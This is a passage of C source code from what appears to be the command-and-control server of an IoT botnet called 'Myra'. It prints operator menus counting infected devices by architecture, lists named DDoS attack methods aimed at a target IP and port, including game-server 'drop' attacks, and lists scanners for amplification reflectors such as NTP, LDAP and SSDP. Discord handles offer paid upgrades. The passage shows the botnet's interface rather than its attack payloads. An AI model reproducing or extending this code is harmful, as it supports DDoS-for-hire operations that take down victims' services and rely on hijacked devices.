1926 sprintf(x86, "\e[38;5;225m║ \e[38;5;168mx86 Devices: \e[38;5;225m%d \e[38;5;225m║\r\n", myra_x86_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
1927 sprintf(spc, "\e[38;5;225m║ \e[38;5;168mSpc Devices: \e[38;5;225m%d \e[38;5;225m║\r\n", myra_spc_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
1928 sprintf(total_output, "\e[38;5;225m║ \e[38;5;168mTotal IoT Devices: \e[38;5;225m%d \e[38;5;225m║\r\n", myra_clients_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
1929 sprintf(bot_4, "\e[38;5;225m╚════════════════════════════════════════════╝\r\n");
1930 if (send(clear_myra_broadcast, bot_1, strlen(bot_1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1931 if (send(clear_myra_broadcast, bot_2, strlen(bot_2), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1932 if (send(clear_myra_broadcast, bot_3, strlen(bot_3), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1933 if (send(clear_myra_broadcast, mips, strlen(mips), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1934 if (send(clear_myra_broadcast, sh4, strlen(sh4), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1935 if (send(clear_myra_broadcast, arm, strlen(arm), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1936 if (send(clear_myra_broadcast, ppc, strlen(ppc), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1937 if (send(clear_myra_broadcast, x86, strlen(x86), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1938 if (send(clear_myra_broadcast, spc, strlen(spc), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1939 if (send(clear_myra_broadcast, total_output, strlen(total_output), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1940 if (send(clear_myra_broadcast, bot_4, strlen(bot_4), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1941 }
1942 else // If The User Is Not Admin, Then Use Else Statement To Carry Out Following Output
1943 {
1944 sprintf(myra, "\e[38;5;225m╔════════════════════════════════════════╗\r\n\e[38;5;225m║ \e[38;5;168mYou Do Not Have the needed Permissions \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168mTo View or use this command! \e[38;5;225m║\r\n\e[38;5;225m╚═══════════════════════════════╦════════╝\r\n \e[38;5;225m║\r\n \e[38;5;225m║\r\n \e[38;5;225m╔══════════════════════╩═══════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168m Want An Upgrade? Dm Me or zach on discord! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;134mGeorgia Cri#4337 \e[38;5;225m- \e[38;5;168mOwO \e[38;5;225m- \e[38;5;134mTransmissional#9845 \e[38;5;225m║\r\n \e[38;5;225m╚══════════════════════════════════════════════════╝\r\n");
1945 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1946 }
1947 }
1948 if(strstr(myra_buffer_size, ".HELP") || strstr(myra_buffer_size, ".help") || strstr(myra_buffer_size, ".Help")) // Help Command - Displays Help Menu
1949 {
1950 char help_cmd1 [5000]; // Char Every Line For Output Communication
1951 sprintf(help_cmd1, "\e[38;5;225mI will add this menu once I feel like I have added enough commands.\r\n");
1952 if(send(clear_myra_broadcast, help_cmd1, strlen(help_cmd1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1953 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
1954 while(1)
1955 {
1956 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input - Hostname
1957 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1958 break; // World Break!
1959 }
1960 continue;
1961 }
1962 if(strstr(myra_buffer_size, ".IPHM") || strstr(myra_buffer_size, ".iphm")) // Help Command - Displays Help Menu
1963 {
1964 char iphm_method1 [5000]; // Char Every Line For Output Communication
1965 sprintf(iphm_method1, "\e[38;5;225mThis menu will be added one the IPMI menu is finished.\r\n");
1966 if(send(clear_myra_broadcast, iphm_method1, strlen(iphm_method1), MSG_NOSIGNAL) == -1) goto finish_integer;
1967 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
1968 while(1)
1969 {
1970 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input - Hostname
1971 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1972 break; // World Break!
1973 }
1974 continue;
1975 }
1976 if(strstr(myra_buffer_size, ".IPMI") || strstr(myra_buffer_size, ".ipmi")) // Help Command - Displays Help Menu
1977 {
1978 char ipmi_method01 [5000];
1979 char ipmi_method02 [5000];
1980 char ipmi_method03 [5000];
1981 char ipmi_method04 [5000];
1982 char ipmi_method05 [5000];
1983 char ipmi_method06 [5000];
1984 char ipmi_method07 [5000];
1985 char ipmi_method08 [5000];
1986 char ipmi_method09 [5000];
1987 char ipmi_method10 [5000];
1988 char ipmi_method11 [5000];
1989 char ipmi_method12 [5000];
1990 char ipmi_method13 [5000];
1991 char ipmi_method14 [5000];
1992 char ipmi_method15 [5000];
1993 char ipmi_method16 [5000];
1994 char ipmi_method17 [5000];
1995 char ipmi_method18 [5000];
1996 char ipmi_method19 [5000];
1997 char ipmi_method20 [5000];
1998 char ipmi_method21 [5000];
1999 char ipmi_method22 [5000];
2000 char ipmi_method23 [5000];
2001 sprintf(ipmi_method01, "\e[38;5;225m╔════════════════════════╗ ╔════════════════════════╗ ╔════════════════════════╗\r\n");
2002 sprintf(ipmi_method02, "\e[38;5;225m║ \e[38;5;134mStandard-Attacks \e[38;5;225m║ ║ \e[38;5;134mSpecial-Attacks \e[38;5;225m║ ║ \e[38;5;134mMulti-Vector Attacks \e[38;5;225m║\r\n");
2003 sprintf(ipmi_method03, "\e[38;5;225m╚════════════════════════╝ ╚════════════════════════╝ ╚════════════════════════╝\r\n");
2004 sprintf(ipmi_method04, "\e[38;5;225m╔════════════════════════╗ ╔════════════════════════╗ ╔════════════════════════╗\r\n");
2005 sprintf(ipmi_method05, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mwitch \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168moryx \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mmassacre \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] \e[38;5;225m║\r\n");
2006 sprintf(ipmi_method06, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mhome \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mphoenix \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168methera \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] \e[38;5;225m║\r\n");
2007 sprintf(ipmi_method07, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mosiris \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mgunther \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168meris \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║\r\n");
2008 sprintf(ipmi_method08, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mkratos \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ╚════════════════════════╝ ║ \e[38;5;134m.\e[38;5;168manubis \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] \e[38;5;225m║\r\n");
2009 sprintf(ipmi_method09, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168modin \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ╔════════════════════════╗ ║ \e[38;5;134m.\e[38;5;168mxxxxxxxx \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║\r\n");
2010 sprintf(ipmi_method10, "\e[38;5;225m╚════════════════════════╝ ╚════════════════════════╝ ╚════════════════════════╝\r\n");
2011 sprintf(ipmi_method11, "\e[38;5;225m╔════════════════════════╗ ╔════════════════════════╗ ╔════════════════════════╗\r\n");
2012 sprintf(ipmi_method12, "\e[38;5;225m║ \e[38;5;134mGame-Attacks \e[38;5;225m║ ║ \e[38;5;134mxxxxxxxxxxxx \e[38;5;225m║ ║ \e[38;5;134mxxxxxxxxxxxx \e[38;5;225m║\r\n");
2013 sprintf(ipmi_method13, "\e[38;5;225m╚════════════════════════╝ ╚════════════════════════╝ ╚════════════════════════╝\r\n");
2014 sprintf(ipmi_method14, "\e[38;5;225m╔════════════════════════╗ ╔════════════════════════╗ ╔════════════════════════╗\r\n");
2015 sprintf(ipmi_method15, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mfn-drop \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mxxxxxxx \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mxxxxxxx \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║\r\n");
2016 sprintf(ipmi_method16, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mr6-drop \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mxxxxxxx \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mxxxxxxx \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║\r\n");
2017 sprintf(ipmi_method17, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mark-drop \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mxxxxxxx \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║ ║ \e[38;5;134m.\e[38;5;168mxxxxxxx \e[38;5;134m[\e[38;5;168mIP\e[38;5;134m] [\e[38;5;168mPORT\e[38;5;134m] \e[38;5;225m║\r\n");
2018 sprintf(ipmi_method18, "\e[38;5;225m╚════════════════════════╝ ╚════════════════════════╝ ╚════════════════════════╝\r\n");
2019 sprintf(ipmi_method19, "\e[38;5;225m╔════════════════════════╗ ╔═══════════════════════════════════════════════════╗\r\n");
2020 sprintf(ipmi_method20, "\e[38;5;225m║ \e[38;5;225mMyra \e[38;5;168mV\e[38;5;225m. \e[38;5;168mAttack Menu\e[38;5;168m. \e[38;5;225m║ ║ \e[38;5;168mThis \e[38;5;134mmenu \e[38;5;168mis ongoing progress \e[38;5;134m! \e[38;5;225m║\r\n");
2021 sprintf(ipmi_method21, "\e[38;5;225m║ \e[38;5;134mVersion \e[38;5;168mIII \e[38;5;134m[\e[38;5;168mBETA\e[38;5;134m]\e[38;5;168m. \e[38;5;225m║ ║ \e[38;5;168mThis will be updated daily with new methods. \e[38;5;225m║\r\n");
2022 sprintf(ipmi_method22, "\e[38;5;225m║ \e[38;5;134mSemi\e[38;5;168m-\e[38;5;134mRelease\e[38;5;168m. \e[38;5;225m║ ║ \e[38;5;134mGame-Attacks \e[38;5;168mare currently \e[38;5;134mNOT \e[38;5;168mworking\e[38;5;134m. \e[38;5;225m║\r\n");
2023 sprintf(ipmi_method23, "\e[38;5;225m╚════════════════════════╝ ╚═══════════════════════════════════════════════════╝\r\n");
2024 if(send(clear_myra_broadcast, ipmi_method01, strlen(ipmi_method01), MSG_NOSIGNAL) == -1) goto finish_integer;
2025 if(send(clear_myra_broadcast, ipmi_method02, strlen(ipmi_method02), MSG_NOSIGNAL) == -1) goto finish_integer;
2026 if(send(clear_myra_broadcast, ipmi_method03, strlen(ipmi_method03), MSG_NOSIGNAL) == -1) goto finish_integer;
2027 if(send(clear_myra_broadcast, ipmi_method04, strlen(ipmi_method04), MSG_NOSIGNAL) == -1) goto finish_integer;
2028 if(send(clear_myra_broadcast, ipmi_method05, strlen(ipmi_method05), MSG_NOSIGNAL) == -1) goto finish_integer;
2029 if(send(clear_myra_broadcast, ipmi_method06, strlen(ipmi_method06), MSG_NOSIGNAL) == -1) goto finish_integer;
2030 if(send(clear_myra_broadcast, ipmi_method07, strlen(ipmi_method07), MSG_NOSIGNAL) == -1) goto finish_integer;
2031 if(send(clear_myra_broadcast, ipmi_method08, strlen(ipmi_method08), MSG_NOSIGNAL) == -1) goto finish_integer;
2032 if(send(clear_myra_broadcast, ipmi_method09, strlen(ipmi_method09), MSG_NOSIGNAL) == -1) goto finish_integer;
2033 if(send(clear_myra_broadcast, ipmi_method10, strlen(ipmi_method10), MSG_NOSIGNAL) == -1) goto finish_integer;
2034 if(send(clear_myra_broadcast, ipmi_method11, strlen(ipmi_method11), MSG_NOSIGNAL) == -1) goto finish_integer;
2035 if(send(clear_myra_broadcast, ipmi_method12, strlen(ipmi_method12), MSG_NOSIGNAL) == -1) goto finish_integer;
2036 if(send(clear_myra_broadcast, ipmi_method13, strlen(ipmi_method13), MSG_NOSIGNAL) == -1) goto finish_integer;
2037 if(send(clear_myra_broadcast, ipmi_method14, strlen(ipmi_method14), MSG_NOSIGNAL) == -1) goto finish_integer;
2038 if(send(clear_myra_broadcast, ipmi_method15, strlen(ipmi_method15), MSG_NOSIGNAL) == -1) goto finish_integer;
2039 if(send(clear_myra_broadcast, ipmi_method16, strlen(ipmi_method16), MSG_NOSIGNAL) == -1) goto finish_integer;
2040 if(send(clear_myra_broadcast, ipmi_method17, strlen(ipmi_method17), MSG_NOSIGNAL) == -1) goto finish_integer;
2041 if(send(clear_myra_broadcast, ipmi_method18, strlen(ipmi_method18), MSG_NOSIGNAL) == -1) goto finish_integer;
2042 if(send(clear_myra_broadcast, ipmi_method19, strlen(ipmi_method19), MSG_NOSIGNAL) == -1) goto finish_integer;
2043 if(send(clear_myra_broadcast, ipmi_method20, strlen(ipmi_method20), MSG_NOSIGNAL) == -1) goto finish_integer;
2044 if(send(clear_myra_broadcast, ipmi_method21, strlen(ipmi_method21), MSG_NOSIGNAL) == -1) goto finish_integer;
2045 if(send(clear_myra_broadcast, ipmi_method22, strlen(ipmi_method22), MSG_NOSIGNAL) == -1) goto finish_integer;
2046 if(send(clear_myra_broadcast, ipmi_method23, strlen(ipmi_method23), MSG_NOSIGNAL) == -1) goto finish_integer;
2047 //char menuoutput[5000];
2048 //sprintf(menuoutput, "\e[38;5;225mWait until the \e[38;5;134mfull release \e[38;5;168m!\r\n");
2049 //if(send(clear_myra_broadcast, menuoutput, strlen(menuoutput), MSG_NOSIGNAL) == -1) goto finish_integer;
2050 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
2051 while(1)
2052 {
2053 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input - Hostname
2054 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2055 break; // World Break!
2056 }
2057 continue;
2058 }
2059 if(strstr(myra_buffer_size, ".scanner") || strstr(myra_buffer_size, ".SCANNER")) // Help Command - Displays Help Menu
2060 {
2061 char scanner_1 [5000]; // Char Every Line For Output Communication
2062 sprintf(scanner_1, "\e[38;5;225m╔═════════════════════════╗\r\n\e[38;5;225m║ \e[38;5;168mMyra I \e[38;5;225m- \e[38;5;168mIPHMScanners \e[38;5;225m║\r\n\e[38;5;225m╠═════════════════════════╣ ╔═════════════════╗\r\n\e[38;5;225m║ \e[38;5;168m.lds \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.lds \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mLDAP Scanner \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.nts \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.nts \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mNTP Scanner \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.tfs \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.tfs \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mTFTP Scanner \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.sds \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.sds \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mSSDP Scanner \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.pos \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.pos \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mPortmap Scanner \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.cos \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.cos \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mChargen Scanner \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.sos \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.sos \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mSentinel Scanner\e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.nes \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.nes \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mNetBios Scanner \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.mss \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.mss \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mMSSQL Scanner \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;168m.tss \e[38;5;134mon \e[38;5;225m|| \e[38;5;168m.tss \e[38;5;134moff \e[38;5;225m║ ║ \e[38;5;168mTS3 Scanner \e[38;5;225m║\r\n\e[38;5;225m╚═════════════════════════╝ ╚═════════════════╝\r\n");
2063 if(send(clear_myra_broadcast, scanner_1, strlen(scanner_1), MSG_NOSIGNAL) == -1) goto finish_integer;
2064 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
2065 while(1)
2066 {
2067 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input - Hostname
2068 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2069 break; // World Break!
2070 }
2071 continue;
2072 }
2073 if(strstr(myra_buffer_size, ".clear") || strstr(myra_buffer_size, ".CLEAR") || strstr(myra_buffer_size, "CLEAR") || strstr(myra_buffer_size, "clear")) // Clear The Screen - We Love Cleanliness
2074 {
2075 if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
2076 if(send(clear_myra_broadcast, main01, strlen(main01), MSG_NOSIGNAL) == -1) goto finish_integer;
2077 if(send(clear_myra_broadcast, main02, strlen(main02), MSG_NOSIGNAL) == -1) goto finish_integer;
2078 if(send(clear_myra_broadcast, main03, strlen(main03), MSG_NOSIGNAL) == -1) goto finish_integer;
2079 if(send(clear_myra_broadcast, main04, strlen(main04), MSG_NOSIGNAL) == -1) goto finish_integer;
2080 if(send(clear_myra_broadcast, main05, strlen(main05), MSG_NOSIGNAL) == -1) goto finish_integer;
2081 if(send(clear_myra_broadcast, main06, strlen(main06), MSG_NOSIGNAL) == -1) goto finish_integer;
2082 if(send(clear_myra_broadcast, main07, strlen(main07), MSG_NOSIGNAL) == -1) goto finish_integer;
2083 if(send(clear_myra_broadcast, main08, strlen(main08), MSG_NOSIGNAL) == -1) goto finish_integer;
2084 if(send(clear_myra_broadcast, main09, strlen(main09), MSG_NOSIGNAL) == -1) goto finish_integer;
2085 if(send(clear_myra_broadcast, main10, strlen(main10), MSG_NOSIGNAL) == -1) goto finish_integer;
2086 if(send(clear_myra_broadcast, main11, strlen(main11), MSG_NOSIGNAL) == -1) goto finish_integer;
2087 if(send(clear_myra_broadcast, main12, strlen(main12), MSG_NOSIGNAL) == -1) goto finish_integer;
2088 if(send(clear_myra_broadcast, main13, strlen(main13), MSG_NOSIGNAL) == -1) goto finish_integer;
2089 if(send(clear_myra_broadcast, main14, strlen(main14), MSG_NOSIGNAL) == -1) goto finish_integer;
2090 if(send(clear_myra_broadcast, main15, strlen(main15), MSG_NOSIGNAL) == -1) goto finish_integer;
2091 if(send(clear_myra_broadcast, main16, strlen(main16), MSG_NOSIGNAL) == -1) goto finish_integer;
2092 if(send(clear_myra_broadcast, main17, strlen(main17), MSG_NOSIGNAL) == -1) goto finish_integer;
2093 if(send(clear_myra_broadcast, main18, strlen(main18), MSG_NOSIGNAL) == -1) goto finish_integer;
2094 if(send(clear_myra_broadcast, main19, strlen(main19), MSG_NOSIGNAL) == -1) goto finish_integer;
2095 if(send(clear_myra_broadcast, main20, strlen(main20), MSG_NOSIGNAL) == -1) goto finish_integer;
2096 if(send(clear_myra_broadcast, main21, strlen(main21), MSG_NOSIGNAL) == -1) goto finish_integer;
2097 if(send(clear_myra_broadcast, main22, strlen(main22), MSG_NOSIGNAL) == -1) goto finish_integer;
2098 if(send(clear_myra_broadcast, main23, strlen(main23), MSG_NOSIGNAL) == -1) goto finish_integer;
2099 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
2100 while(1)
2101 {
2102 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input [Hostname]
2103 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2104 break; // World Break!
2105 }
2106 continue;
2107 }
2108 if(strstr(myra_buffer_size, ".STRESS") || strstr(myra_buffer_size, ".stress")) // Display Menu - Stress Menu
2109 {
2110 char method_1 [5000]; // Char Every Line For Output Communication
2111 sprintf(method_1, "This has been disabled.\r\n");
2112 // Crush, Junk, Stomp > Taken Out Lynx -- Unstable And Causes Some Define Allocation Errors - [Will Be Fixed In ALpha]
2113 if(send(clear_myra_broadcast, method_1, strlen(method_1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2114 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
2115 while(1)
2116 {
2117 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input - Hostname
2118 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2119 break; // World Break!
2120 }
2121 continue; // Yep...
2122 }
2123 if(strstr(myra_buffer_size, ".update") || strstr(myra_buffer_size, ".UPDATE")) // Staff Only ! - Display Menu
2124 {
2125 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock);
2126 char staff_cmd1 [5000]; // Char Every Line For Output Communication
2127 sprintf(staff_cmd1, "\e[38;5;225mThis will be added when Substrate is compatible.\r\n");
2128 if(send(clear_myra_broadcast, staff_cmd1, strlen(staff_cmd1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2129 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
2130 while(1)
2131 {
2132 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input - Hostname
2133 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2134 break; // Terminate Connection.. Reinstate All Functions.
2135 }
2136 continue; // Let Us Continue.. We Are Nearly There..
2137 }
2138 if(strstr(myra_buffer_size, ".tools") || strstr(myra_buffer_size, ".TOOLS") || strstr(myra_buffer_size, ".tool") || strstr(myra_buffer_size, ".TOOL")) // Display Menu - Tools
2139 {
2140 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock);
2141 char tools_menu01 [5000];
2142 char tools_menu02 [5000];
2143 char tools_menu03 [5000];
2144 char tools_menu04 [5000];
2145 char tools_menu05 [5000];
2146 char tools_menu06 [5000];
2147 char tools_menu07 [5000];
2148 char tools_menu08 [5000];
2149 char tools_menu09 [5000];
2150 char tools_menu10 [5000];
2151 char tools_menu11 [5000];
2152 char tools_menu12 [5000];
2153 char tools_menu13 [5000];
2154 char tools_menu14 [5000];
2155 char tools_menu15 [5000];
2156 char tools_menu16 [5000];
2157 char tools_menu17 [5000];
2158 char tools_menu18 [5000];
2159 char tools_menu19 [5000];
2160 char tools_menu20 [5000];
2161 char tools_menu21 [5000];
2162 char tools_menu22 [5000];
2163 char tools_menu23 [5000];
2164 sprintf(tools_menu01, "\e[38;5;225m╔═════════════════════════╗╔═══════════════════════════════════════════════════╗\r\n");
2165 sprintf(tools_menu02, "\e[38;5;225m║ \e[38;5;134mMyra \e[38;5;168mV\e[38;5;134m. \e[38;5;134mUser Tools\e[38;5;168m. \e[38;5;225m║╚═══════════════════════════════════════════════════╝\r\n");
2166 sprintf(tools_menu03, "\e[38;5;225m╚═════════════════════════╝╔═════════════════╗ ╔═══════════════════╗\r\n");
2167 sprintf(tools_menu04, "\e[38;5;225m╔═══════════════════╗ ║ \e[38;5;134mPing Commands\e[38;5;168m. \e[38;5;225m║ ╔════╗ ║ \e[38;5;168mUD_PRB\e[38;5;134m..\e[38;5;168m: \e[38;5;134mON \e[38;5;168m! \e[38;5;225m║\r\n");
2168 sprintf(tools_menu05, "\e[38;5;225m║ \e[38;5;134mPing Probes Types \e[38;5;225m║ ║ \e[38;5;168mII\e[38;5;134m. \e[38;5;225m║ ║ \e[38;5;134mII \e[38;5;225m║ ║ \e[38;5;168mTC_PRB\e[38;5;134m..\e[38;5;168m: \e[38;5;134mON \e[38;5;168m! \e[38;5;225m ║\r\n");
2169 sprintf(tools_menu06, "\e[38;5;225m╚═══════════════════╝ ╚═════════════════╝ ╚════╝ ║ \e[38;5;168mAR_PRB\e[38;5;134m..\e[38;5;168m: \e[38;5;134mON \e[38;5;168m! \e[38;5;225m ║\r\n");
2170 sprintf(tools_menu07, "\e[38;5;225m╔═════════════════════════╗╔══════════════════════════════╗║ \e[38;5;168mIC_PRB\e[38;5;134m..\e[38;5;168m: \e[38;5;134mON \e[38;5;168m! \e[38;5;225m ║\r\n");
